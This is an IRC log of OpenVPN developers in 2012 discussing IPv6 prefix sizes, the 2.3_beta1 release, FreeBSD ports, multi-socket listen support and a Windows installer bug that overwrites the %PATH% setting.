digest directly 08:41 < noshadow> cron2: but wouldn't you then still implement some list to avoid duplicates? 08:42 <@dazo> oh true ... --duplicate-cn 08:43 < noshadow> dazo: even without that, collisions in a /124 would not be that unlikely... 08:45 < plaisthos> I still don't get why people keep using IPv6 networks smaller than /64 08:45 <@cron2> this would only work with a /64 on-link 08:45 <@cron2> but yeah, duplicate-cn is nastiness... 08:45 < noshadow> plausthos: because hosting providers only give you a /64 and not a /48 08:46 <@dazo> stupid hosting providers ... they could at least have given out a /56 08:46 < plaisthos> :9 08:50 < noshadow> dazo: rfc3177 suggested /48, but that seems to be outdated already... 08:51 <@dazo> yeah, I know ... /48 is ideal ... but if the isp wants to be grumpy, /56 is still better than /64 08:51 < plaisthos> noshadow: yeah but /56 somewhere suggest a good size for sub entities 08:51 < plaisthos> for example home dilaup /56 is good size 08:51 <@dazo> at least for private users 08:53 < plaisthos> If need more than /56 (or more than 256 networks) than a home dsl line might not the right thing your anyway .. 08:57 <@cron2> our hosting customers get a /60 by default, because that is usually plenty for "external network, internal network, management network, ..." 08:57 <@cron2> if they want more, they get a /48 08:57 <@cron2> (just btw, RIPE NCC ran out of IPv4 just now) 09:00 <@ecrist> gah 09:00 <@ecrist> FAIL: t_lpback.sh 09:00 <@ecrist> when polarssl is enabled 09:00 <@ecrist> Cipher algorithm 'BF-CBC' not found 09:00 <@ecrist> afaik, blowfish isn't in polarssl 09:00 <@dazo> ecrist: correct ... but it's on its way 09:01 <@dazo> bf code is committed to their SVN trunk 09:01 <@ecrist> so, for polar, I need to disable the tests 09:01 <@dazo> or tweak tests to use AES256 instead 09:02 <@cron2> dazo: so how are your test going with polar and bf? 09:02 <@dazo> cron2: I've had my focus on 2.3_beta1 lately ;-) 09:02 <@cron2> ecrist: polar-openvpn won't be interoperable with openssl-openvpn unless you tweak config on *both sides* 09:03 <@ecrist> how do I disable the tests? 09:03 <@dazo> it's only BF support which is the incompat issue ... in regards to communication layer 09:04 <@dazo> ecrist: don't run 'make check' .... or if you use 'make distcheck' ... run just 'make dist' 09:08 <@ecrist> okie dokie 10:01 <@ecrist> with the correct configure arg, openvpn builds just fine with polarssl 10:04 <@dazo> \o/ 2.3_beta1 is announced! 10:33 -!- coffe [~coffe@sto.alatest.se] has quit [Quit: Leaving] 10:56 <@ecrist> cron2: as of now, the plugins will get installed to ${PREFIX}/lib/ as openvpn-plugin-*.so 10:56 <@ecrist> what was it you wanted to see? 10:57 <@ecrist> a symlink to the new location from somewhere, and a warning message? 11:17 * plaisthos fixed the assumption that port numbers are strings :D 11:17 < plaisthos> remote openvpn.blinkt.de openvpn 12:07 <@cron2> plaisthos: well, that's what /etc/services is for, so port numbers *are* strings to start with... 12:07 <@cron2> ecrist: yes, that - symlink from the old location to the new, to avoid breaking people's config 12:57 <@cron2> mattock: do you know whether raidz is on vacation? 13:01 -!- dazo is now known as dazo_afk 13:30 <@ecrist> cron2: do you recall what the old location was? 13:35 <@cron2> ecrist: sure :-) /usr/local/lib/openvpn-auth-pam.so 13:44 <@ecrist> ok 13:44 <@ecrist> thanks. 16:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:13 -!- ender| [krneki@foo.eternallybored.org] has quit [Read error: Operation timed out] 17:28 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 22:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Sat Sep 15 2012 02:21 <@cron2> meh 02:22 <@cron2> people are asking nasty questions about "--redirect-gateway block-local", ICMP redirects, static routes, and IPv6 redirects... 02:42 < plaisthos> :) 05:47 <@cron2> mattock: ayt? 09:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 09:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Sep 16 2012 05:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 268 seconds] 11:09 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer] 13:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:21 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Mon Sep 17 2012 01:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:29 <@d12fk> mattock: mingw headers seem to be too old 03:10 -!- dazo_afk is now known as dazo 03:31 -!- coffe [~coffe@2001:9b0:112:1019:1001:1001:1001:1143] has joined #openvpn-devel 03:43 -!- coffe [~coffe@2001:9b0:112:1019:1001:1001:1001:1143] has quit [Ping timeout: 240 seconds] 03:58 <+krzee> http://pastebin.com/NGMraP51 03:58 <+krzee> <Mtn_Bkng_Dave> thats been running forever 03:59 <+krzee> i see this more and more, there was a change in how clients find the gateway to add routes with? 04:04 <@cron2> that log is too short to see what was configured for --ifconfig and for --route 04:08 <+krzee> http://pastebin.com/GqhEgvNP 04:08 <+krzee> just the standard --server and --route subnet netmask 04:08 <+krzee> so to fix he adds server ip at the end of the route entries 04:08 <+krzee> but that used to not be needed 04:15 <@cron2> the problem is on the server, or on one of the clients? 04:17 <+krzee> the client, i had the same issue even, for some reason it doesnt just automagically know to make the route go over the vpn when no gateway is given 04:18 <+krzee> on my machine i made a script to add the route using the device as gateway instead of an ip 04:23 <+krzee> hes in #openvpn right now 04:23 <@cron2> will the problem show up if you upgrade the server (= funny things pushed) or the client? 04:23 <+krzee> by upgrading the client 04:24 <@cron2> mmmh. I think we want a full bug report in trac, with the server config and the full client log with --verb 4. It *should* work (and it obviously used to), so we need to figure out what changed 04:25 <+krzee> its dead simple to recreate, just use: 04:25 <@cron2> (otoh, for my envioronment, it works perfectly well with "--server" and "push 'route ...'", and windows 2.3a3 clients...) 04:25 <+krzee> !sample 04:25 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config, or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man), or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting 04:25 <+krzee> oh really? 04:25 <@cron2> yes 04:26 <@cron2> if it were obvious, one of the buildbots would have caught it as well, as the buildbot-run-daily-tests setup basically just does exactly that 04:26 <@cron2> server 10.194.2.0 255.255.255.0 04:27 <@cron2> push "route 10.194.0.0 255.255.0.0" 04:27 <+krzee> hmm maybe it got fixed in 2.3 04:27 <+krzee> this was 2.2.2 04:28 <@cron2> if it's broken in 2.2.2, it needs to be fixed there as well, but I know that I already did t_client tests then 04:28 <@cron2> krzee: so - please open a trac with the full client log, otherwise it will just get lost 04:29 <+krzee> can you tell Mtn_Bkng_Dave in #openvpn everything you want in the trac? 04:29 <@cron2> server config + full client log with --verb 4 04:45 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 04:45 < coffe> cron2, is nativ ipv6 only possible ? 04:49 <@cron2> coffe: currently, OpenVPN needs IPv4 on the interface - but you can use a non-used subnet, and just not install any IPv4 routes, so you have ipv6 only 04:50 < coffe> cron2, this weekend i will try to setup it on my 2 networks that only have ipv6. 04:52 <@cron2> ipv6-only, cool 07:10 < plaisthos> Ipv6 tunnels work fine from my experience 08:09 -!- coffe [~coffe@sto.alatest.se] has quit [Quit: Leaving] 08:42 <@cron2> oh cool 08:42 * cron2 loves OpenVPN 08:43 <@dazo> :) 08:44 * cron2 discovered --learn-address, and is now using that to dynamically generate reverse DNS entries for pool-assigned ipv4+ipv6 addresses 08:44 <@cron2> (or at least, that's the plan) 08:44 <@dazo> hehe ... the script hooks and plug-in API are really cool :) 08:45 * ecrist looks into --learn-address later 08:48 <@cron2> ecrist: unix style magic. Straightforward and simple, but you can do great stuff with it. 08:50 <@cron2> oh 08:50 <@cron2> looking at $corp's ipp.txt, I see interesting things in there... the name remapping change voids our IP pool, as the CN is always "Firstname Surname", and now there is now "_" in there anymore 08:54 <@dazo> cron2: ecrist: Could you please have a quick look at this one? http://www.fpaste.org/V7Q5/ ... it's the doc for something I've been hacking on during the weekend 08:54 <@dazo> just wondering if this is something which I should try to put a little bit more efforts into, or if there are better and simpler solutions out already 08:57 <@cron2> sounds interesting, but I admit I have no idea what else exists in that space - but I know that there *are* "log watching, correlation, alarming" things out 08:58 <@dazo> yeah, that's the same thing for too 08:58 <@dazo> for me* 09:27 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 09:29 -!- noshadow [~i@chat.brlink.eu] has quit [Ping timeout: 246 seconds] 09:34 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+o cron2] by ChanServ 09:34 <@cron2> bah 09:36 <@ecrist> dazo: already off to a bad start - python?!? 10:14 <@dazo> ecrist: python is great :) 10:14 <@ecrist> I'm sure. 10:14 * dazo thinks he reads some sarcasm now :) 10:20 <@dazo> If you want to try to play with it, it's all here: http://fedorapeople.org/cgit/dsommers/public_git/logactio.git/ ... but without the docs 10:20 <@ecrist> nah, just a matter of too many tools in the toolbox. 10:21 <@vpnHelper> Title: logactio.git - Simple log file watcher framewirk which does certain actions when some log events happen (at fedorapeople.org) 10:21 <@ecrist> python just ended up at the bottom of the list 10:22 <@dazo> I probably would have seen it differently if I had *BSD as my main platform ... but Python is something which is available on all Linux distros ... It's bash, python and most likely perl these days (in that order) 10:24 <@dazo> (order of availability, that is) 10:35 <@dazo> ecrist: anyhow, if we ignore the python detail ... do you know about anything else which works somewhat similar to what this stuff does? 10:41 <@ecrist> no 10:41 <@ecrist> currently, we use perl and tail -f our logfiles for parsing 10:41 <@dazo> okay ... good to know that I wasn't just ignorant :) 10:42 <@ecrist> but, we *do* have a perl script that does some of what you're doing. it's used to alert our production staff to newly dropped off files in real-time 10:42 <@dazo> cool :) 10:43 <@ecrist> seems pretty neat. though, as silly as it sounds, it's python base will keep us from using it 10:43 <@dazo> :( .... even though, I did consider to use Perl ... but I'm just not comfortable with the perl syntax ... I find that syntax awkward and confusing to work with 10:45 <@dazo> I also wrote a SMS module in the weekend too for this thingy ... but I won't release that code, as it's really hacky and not sure the network provider would be happy if I share some code showing how to abuse their web portal :) 10:46 <@ecrist> all web portals are easy to abuse 10:46 <@ecrist> I created some code for our internal xmpp bot that sends SMS and text pages through arch wireless' network. :) 10:47 <@dazo> hehe :) 10:47 <@dazo> ohhh .... XMPP module would be cool too :) 10:47 <@dazo> (for another day :)) 10:47 <@ecrist> we have a bot for our XMPP server all written in perl 10:47 <@ecrist> we're more and more a perl shop here 10:47 <@ecrist> that and lots and lots of C 10:48 <@dazo> yeah ... that's actually one thing I like about Python (the language syntax itself has some discussable parts) ... but you can very easily write Python modules in C ... which are loaded dynamically ... which is really useful for the CPU intensive parts, and then use Python scripts to glue it all together 10:52 <@ecrist> we don't even use bash scripts around here, it's sh 10:52 <@ecrist> python just has so many dependencies, and, imo, is just too bit a pita to maintain on a largish install base 10:54 <@dazo> If you by dependencies means all those extra useful (or often needed) python modules ... I can agree to that 10:54 <@ecrist> yes, that's what I mean 10:54 <@ecrist> perl has a similar situation, but it seems much easier to maintain 10:56 <@dazo> yeah, you're probably right ... well, in perl you have cpan too ... there's something similar in the works for python ... but maintaining big install bases without a package manager built for it, makes it painful 10:57 <@ecrist> at this point, knowing perl, sh, and PHP well, on top of learning C, python just isn't going to make the cut 10:59 <@dazo> I understand that ... standardising on a tool chain the majority understands is a key point, no matter what the tool chain is 11:46 <+krzee> * ecrist looks into --learn-address later 11:46 <+krzee> its like client-connect but runs every time a clients address changes 11:46 <+krzee> so extra useful for firewall rules and such 12:18 <@ecrist> hrm, I'd like reverse DNS resolution 12:28 <+krzee> !ndupdate 12:28 <+krzee> !nsupdate 12:28 <@vpnHelper> "nsupdate" is http://scarydevilmonastery.net/client_connect_nsupdate for a script Bushmills wrote to solve the question How can my vpn update my nameserver? 12:28 <+krzee> would be better as a learn-address in case of a manual ifconfig, but that should work ^ 12:35 <@ecrist> I'll probably make that work with learn-address 12:38 <+krzee> yep, should be the same 12:48 -!- dazo is now known as dazo_afk 13:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:04 <@cron2> wow 16:05 <@cron2> one of my colleagues just got stuck in the "NO PUSH FOR YOU!" situation that dazo fixed... and the corp vpn server is not yet up to beta1 16:05 <+krzee> NO SOUP FOR YOU! 16:05 <@cron2> that was the other one :) 16:05 <+krzee> oh lol 16:15 <@cron2> ecrist: please be updating port soon, I want that bugfix :-) 20:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Read error: Operation timed out] 20:05 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:05 -!- mode/#openvpn-devel [+o dazo] by ChanServ 21:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] --- Day changed Tue Sep 18 2012 01:38 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 01:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:14 -!- coffe [~coffe@sto.alatest.se] has quit [Quit: Leaving] 04:43 -!- coffe [~coffe@2001:9b0:112:1019:1001:1001:1001:1143] has joined #openvpn-devel 05:44 < plaisthos> android users are like sheeps when it comes to upgrading, 72% of them are using the new version with beta1 :) 05:47 <+krzee> android says update, we do it ;] 05:47 <+krzee> i updated word with friends like 2x this month, no idea why 05:49 < plaisthos> hehe :) 05:50 <+krzee> updating the rootkit probably ;] 05:51 < plaisthos> :D 05:58 < plaisthos> still need to get my android patches upstream some day (https://github.com/schwabe/openvpn/commits/android_2.3beta1) 05:58 <@vpnHelper> Title: Commit History · schwabe/openvpn · GitHub (at github.com) 05:59 <@dazo> plaisthos: lets aim for that in 2.4 06:06 < plaisthos> yes 06:06 < plaisthos> no rushing :) 06:08 <@dazo> plaisthos: I think I have something in the pipe for this one ... https://github.com/schwabe/openvpn/commit/f2a6d3ecefa2394bb0602de5f982c7a71a6873af 06:08 <@vpnHelper> Title: Remove script-security warning · f2a6d3e · schwabe/openvpn · GitHub (at github.com) 06:08 <@dazo> only displays these warnings if scripts are configured 06:18 < plaisthos> dazo: ah cool 06:19 < plaisthos> you get an error/warning if openvpn actually tries to execute a script and script-security is not set accordingly 06:20 <@dazo> ahh ... that might be true .... I changed that ages ago, just never got to this warning messages 06:20 <@dazo> or "warning" messages 06:51 < coffe> seems my rooted s3 cant use tun 06:53 < coffe> sorry tap , 06:56 < coffe> cron2, know if ipv6 works on android ? 06:59 <@dazo> plaisthos: ^^^ you might know that better :) 07:02 -!- coffe [~coffe@2001:9b0:112:1019:1001:1001:1001:1143] has quit [Ping timeout: 245 seconds] 07:05 <@ecrist> cron2: it's done, I just need a working copy of the CVS tree to create a diff. 07:05 <@ecrist> it was broken yesterday 07:07 < plaisthos> coffe: Yes it does both transport and payload. Altough transport is awkward to configure (not offically supported by me) 07:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 07:07 < plaisthos> oh he is gone 07:12 < plaisthos> and openvpn will display warnings about tun-v6 not being used 07:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:47 <@ecrist> cron2: port update submitted. I expect it'll be comitted today 07:48 <@ecrist> that's for security/openvpn-beta 07:48 <@ecrist> once that's accepted, I'll copy the changes over to security/openvpn-devel and update that, as well, though it's a bit redundant. 07:56 <@ecrist> http://www.freebsd.org/cgi/query-pr.cgi?pr=171738 07:56 <@vpnHelper> Title: ports/171738: security/openvpn-beta: update to 2.3-beta1 (at www.freebsd.org) 07:59 <@cron2> ecrist: oh, -beta. Then I'll have to cross-upgrade, as I'm running -devel now... 08:00 <@ecrist> if you wait, -devel will be updated either late today or tomorrow 08:01 <@ecrist> but it's going to pull from master, not the 2.3 branch 08:19 <@cron2> ecrist: fine with me, as I will have an interest in continuously testing -devel :-) 08:21 <@ecrist> -devel is done. I'll just send a pr now 08:26 <@cron2> thanks 08:31 <@ecrist> is there a way to do git log for the last year? 08:31 <@ecrist> http://www.freebsd.org/cgi/query-pr.cgi?pr=171743 08:32 <@vpnHelper> Title: No PRs Matched Query (at www.freebsd.org) 08:32 <@ecrist> give it a few, the website takes longer to update than the actual GNATS database 09:29 <@ecrist> how difficult would it be to make OpenVPN behave similar to OpenSSH with regard to restarts? 09:29 <@cron2> as in? 09:29 <@ecrist> OpenSSH, upon restart, can leave current sessions running, while rereading the config and using the new config for new clients 09:30 <@ecrist> OpenVPN just wants to kill all those sessions. 09:30 < plaisthos> very 09:30 <@cron2> ah. that's because there is one openssh process per connection, which you can't do in openvpn 09:30 <@ecrist> that was my guess. 09:30 <@cron2> there is only a single openvpn process, as there is only a single interface to the kernel (and you can't slice-and-dice the tun interface) 09:31 <@cron2> we *could* do a new architecture with a single central packet dispatcher, and a per-user socket process, but even then, restarting would break things 09:31 <@ecrist> yeah 09:31 <@ecrist> even if we could HUP the process and not kill clients 09:31 <@ecrist> i.e. add an --up script that gets used for new client, it would be nice. 09:32 < plaisthos> you would have to save the state of openvpn and then do exec the new openvpn and let the new openvpn take over the state and sockets, file descriptors ... 09:32 <@dazo> Generally speaking, there's no performance benefit in having a thread/process per user ... unless number of users don't exceed number of CPU cores 09:32 <@dazo> plaisthos++ 09:33 <@ecrist> at the risk of sounding even more ignorant, why can't openvpn just re-read it's own config, perhaps barring specific changes, like certificate chain? 09:33 < plaisthos> ecrist: that is like a light version of what I just said :) 09:33 <@cron2> ecrist: someone would have to implement that, and it's not trivial 09:34 <@ecrist> again, I'm pretty green with regard to the inner workings of the code base 09:35 < plaisthos> ecrist: better for your sanity :D 09:35 <@ecrist> plaisthos: yes, but there's not necessarily a need to re-exec. I do this with scripts we have around, and it's not an uncommon feature. 09:36 <@cron2> ecrist: it's still not trivial to implement, you have to reliably forget all pre-existing configs, except that for the currently-running sessions 09:36 <@ecrist> I didn't mean to imply it was trivial. 09:37 < plaisthos> I think to really do this you have to rewrite some parts of openvpn from scratch 09:37 <@ecrist> I'd believe that. 10:06 * cron2 just discovered that our backup corp VPN server is still running 2.1.1+ipv6 transport patch 10:06 <@cron2> ... with broken --topology subnet on FreeBSD... 10:10 < plaisthos> :) 11:59 -!- dazo is now known as dazo_afk 12:17 * plaisthos just found another confusing opiton "remote-ip-hint" 12:36 < plaisthos> It was added by the http-proxy-override commit and is as strange as the http-proxy-override feature ... 13:56 * plaisthos found a code path that only executed if --mode server and connection profiles are defined 13:56 * plaisthos scratches his head 14:25 < plaisthos> openvpn brings it own assert macros?! 17:21 * plaisthos managed to get openvpn to listen to two tcp ports :) 17:21 < plaisthos> openvpn connecting and even ping worked but at the moment evil hack to understand how it all fits together :D 17:30 <+krzee> wow!!! 17:33 <+krzee> gj man 19:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Sep 19 2012 01:32 <@cron2> plaisthos: wow! 01:32 <@cron2> though from looking at socket.c, that one sounded slightly easier than tcp+udp :) 02:01 -!- dazo_afk is now known as dazo 02:18 <@dazo> plaisthos: great achievements there!! :) but finding a code path with --server and conn-profiles sounds weird ... however, I can see it as a useful approach with multiple ports 03:10 <@cron2> nah, let's not overload conn-profiles for server-side stuff 03:23 <@dazo> yeah, I was thinking the same ... but wanted to try to have an open mind :) ... I personally would rather like to see support for multiple --local <ip> <port> <proto> ... or maybe ditch --local and have --listen instead, at least in server mode 03:23 <@cron2> yup 03:29 <@cron2> mmmh 03:29 <@cron2> just got a user report that beta1 messed up his %PATH% setting under windows 03:30 <@cron2> is that something that can happen? does our installer fiddle with %PATH%? I'm actually considering that somewhat unlikely (he's a JAVA programmer...), but I thought I should mention it 03:41 < plaisthos> Actually I implemented a <listen> directive %) 03:41 < plaisthos> that works like <connection> 03:41 <@cron2> why? 03:42 <@cron2> ah, so you can have address, port, proto independent of each other, or so 03:45 <@cron2> I'd be happy with a variant of the Apache "listen" directive on a single-line, though 03:46 <@cron2> like: "listen udp 1194" (implying "any") or "listen tcp 443 195.30.40.50" or "listen tcp 80 2001:608::1" 03:46 <@cron2> is there more that needs to be set? 03:47 < plaisthos> well source code sytle speaking I am setting up an own context for each socket (tcp server does this too) 03:47 < plaisthos> and the contexts share some of the context like tls/pool/etc 03:47 <@cron2> ah 03:48 < plaisthos> but a lot of the socket specific variable can be set per socket 03:48 <@cron2> ... actually, "no ah yet" :-) - what variables are there? 03:51 < plaisthos> shaper, remote (yes this is strange :P), lzo, fragment, mtu, port share, maybe timers and pf 03:52 <@cron2> well, consider me convinced 03:53 <@cron2> I'm not sure "remoet" really make sense, but per-socket shaping might make sense, and "one socket with and one without lzo" might be useful too... 03:57 < plaisthos> yeah using multiple server sockets with different remotes each is kind of strange use case 03:57 < plaisthos> I am not convinced that it is useful too 03:58 < plaisthos> (and I get the <listen> stuff for free by using the <connection> code :D) 03:58 <@cron2> more magic in options.c :) 03:59 < plaisthos> not much :) 03:59 < plaisthos> just a flag that hte connection list is now listen 03:59 * cron2 imagines the confused faces of someone trying to understand how <listen> works, some years hence, cleaning up socket.c for OpenVPN 2.7 03:59 < plaisthos> the first <connection>/<listen> directive sets the flag and later <connection>/<listen> give an error 03:59 < plaisthos> :D 04:00 < plaisthos> I found a "cool" usage a data field 04:00 < plaisthos> if < 5 then it is flag else interpret it as pointer to a multi_instance 04:06 <@cron2> mattock: AYT? 04:46 < plaisthos> cron2: I don't know how much we can put into a single line until it gets annoying 04:46 <@cron2> plaisthos: if we add all the nice extras you found, we do not want to have that on a single line 04:46 < plaisthos> listen openvpn localhost udp ipv4 04:46 < plaisthos> are the 4 parameters I need at least :) 04:47 <@cron2> bah, who wants to listen on IPv4? (but indeed, if you want to be able to do DNS resolution on "listen" - which I never do - then you need to be able to tell it v4/v6/both) 04:48 < plaisthos> for FreeBSD for example you don't get v6 sockets that listen for v4 04:48 < plaisthos> :) 04:48 <@cron2> plaisthos: ... unless you twist the magic sysctl, yeah 04:50 < plaisthos> I bet you can find some posix compatible OS which does not have such a magic sysctl ;) 04:50 <@cron2> OpenBSD 04:50 <@cron2> no need for a lengthy search 04:51 < plaisthos> :D 04:51 < plaisthos> because having such a sysctl is probably not "right" 04:51 < plaisthos> and users should fix all software themselver 04:51 <@cron2> they have strong opinions on things :) 04:51 <@cron2> yes 04:52 <@cron2> "ipv4-compatible ipv6 addresses are deprecated, aren't they!" (and they are overlooking that this is for "packets on the wire", not for "socket API presentation") 04:53 <@cron2> but I'm not argueing with OpenBSD folks - if I think I can endanger my sanity, I look into route.c and socket.c, that's plenty of fun 04:53 < plaisthos> :) 04:54 < plaisthos> I found the context/multicontext stuff another source of sanity loss 04:55 < plaisthos> multi tcp server creates a top context then copies that context to a new top context (sharing some thing between them) and each time a client connects a child context is created from the new top context (sharing different things) 04:55 <@cron2> what's the intermediate top context for? 04:57 < plaisthos> not sure yet why it is copied 04:58 < plaisthos> * CM_TOP_CLONE will prevent close_instance from freeing or closing 04:58 < plaisthos> * resources owned by the parent. 04:58 < plaisthos> another part of the source talks about CM_TOP_CLONE being used for multi threading 04:59 < plaisthos> # define CM_TOP_CLONE 2 /* clone of a CM_TOP context for one thread */ 04:59 <@cron2> ah, that mysterious beast 05:32 <@cron2> o-kay, 3.2b1 wrecks people's PATH settings, at least under certain circumstances 05:32 <@cron2> (windows) 06:02 < plaisthos> wtf?! 06:02 < plaisthos> or does the installer change the path settings? 06:52 <@cron2> my colleague writes... 06:52 <@cron2> ich habe gestern auf meinem Arbeitslaptop Open VPN 2.3 Beta 1 installiert. 06:52 <@cron2> Anschließend ging mein Eclipse nicht mehr, da der Path unter Systemvariablen 06:52 <@cron2> nur noch mit "C:\Program Files\OpenVPN\bin" eingetragen war. 06:52 <@cron2> ... which very strongly points to OpenVPN as a culprit... 06:52 <@cron2> (the installer, that is) 06:59 <@dazo> cron2: yeah, that's installer stuff ... so OpenVPN installer replaces the PATH with only itself? 06:59 <@dazo> (not appending) 07:00 <@cron2> dazo: that's what the evidence is hinting at. I don't know for sure, as I have no Win* VM around just now to test (at work, laptop at home, ...). Which is why I'm looking for mattock... 07:00 <@cron2> it *might* be related to Win7/64bit, with the new 64bit installer 07:01 <@dazo> sounds like mattock needs to spin a 2.3_beta1b build .... I think it is related to 32/64 bit stuff ... earlier we had only 32bit, but now we have both 07:01 <@dazo> (beta1b would only be for windows .... unless he had some versioning inplace already) 07:02 <@dazo> oh he does .... 2.3_beta1-I001 ... 07:02 <@cron2> the installer has I1001 in the program name, which hints 07:02 <@cron2> yes, exactly :) 07:02 <@dazo> :) 07:02 <@cron2> we need to figure out where it happens - 32 or 64/32 or 64/64 - and then, why... 07:02 <@dazo> yupp 07:03 <@dazo> with "me" I read "mattock" :-P 07:03 <@cron2> yes 07:03 <@cron2> or anybody else who has enough windows test systems around to not care if one or the other gets wracked 07:05 * dazo thinks this is the culprit 07:05 <@dazo> https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/openvpn.nsi#L314 07:05 <@vpnHelper> Title: openvpn-build/windows-nsis/openvpn.nsi at master · OpenVPN/openvpn-build · GitHub (at github.com) 07:06 <@dazo> but might be a bug in the EnvVarUpdate.nsh module 07:06 <@cron2> is this the 32 or 64 bit installer? or "both"? 07:06 <@dazo> both 07:06 <@dazo> or rather all 07:07 <@dazo> There's no 32/64 bit specific stuff in the nsi file, afaic 07:07 <@dazo> s 07:07 <@cron2> I have the nagging suspicion that Win64 might not have that variable at all, so "some sort of default" applies, coming from another place 07:07 <@cron2> so appending will in effect *set* it, overriding the default 07:08 <@dazo> hmm ... interesting thought 07:08 <@dazo> Oh, we ship that EnvVarUpdate.nsh module ... https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/EnvVarUpdate.nsh 07:08 <@vpnHelper> Title: openvpn-build/windows-nsis/EnvVarUpdate.nsh at master · OpenVPN/openvpn-build · GitHub (at github.com) 07:09 * dazo see a cumbersome and odd script syntax and backs off ... 07:10 <@dazo> http://nsis.sourceforge.net/Environmental_Variables:_append%2C_prepend%2C_and_remove_entries ... it comes from here ... and see this: 07:11 <@vpnHelper> Title: Environmental Variables: append, prepend, and remove entries - NSIS (at nsis.sourceforge.net) 07:11 <@dazo> Warning: this code will replace paths rather than append if the existing path exceeds the maximum string length in the NSIS build you are using. Some setup crash can also occurs. 07:11 <@dazo> "Default maximum string length is 1024, see Special_Builds for a 8192 max length. " 07:21 <@cron2> is there a particular reason why we need to change the path at all? 07:22 <@cron2> openvpn-gui needs to know, of course, but "the path where openvpn-gui.exe came from" sounds like a resonable starting point... 07:22 <@cron2> ... and the gui has an icon in the start menu + on the desktop 07:46 -!- Netsplit *.net <-> *.split quits: @vpnHelper 07:48 <@dazo> I don't see a reason for that at all 07:58 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:10 * cron2 would like to poke mattock (or d12fk), but both are hiding 08:11 <@dazo> cron2: you got his phone number? 08:15 <@d12fk> cron2: hiding starts again tomorrow, hwat is your demand 08:20 <@cron2> d12fk: is there a reason the openvpn installer changes windows %PATH% settings? 08:21 <@cron2> I got two reports today that the 64bit installer completely *replaced* people's PATH, so half of windows was broken afterwards 08:21 <@cron2> (the german above) 08:22 <@cron2> or let me re-phrase: is this a necessity for openvpn-gui to work? 08:23 <@d12fk> not for the GUI, it uses the full path to openvpn from the registry to start oepnvpn.exe 08:25 <@dazo> uhm ... maybe the easy-rsa stuff requires it ... which uses the openssl binary 08:27 <@cron2> good point. Then we need to make it work. 08:28 <@d12fk> what's added to the PATH in the official installer? 08:28 <@cron2> 311 Section /o "Add ${PACKAGE_NAME} to PATH" SecAddPath 08:28 <@cron2> 312 08:28 <@cron2> 313 ; append our bin directory to end of current user path 08:28 <@cron2> 314 ${EnvVarUpdate} $R0 "PATH" "A" "HKLM" "$INSTDIR\bin" 08:28 <@d12fk> 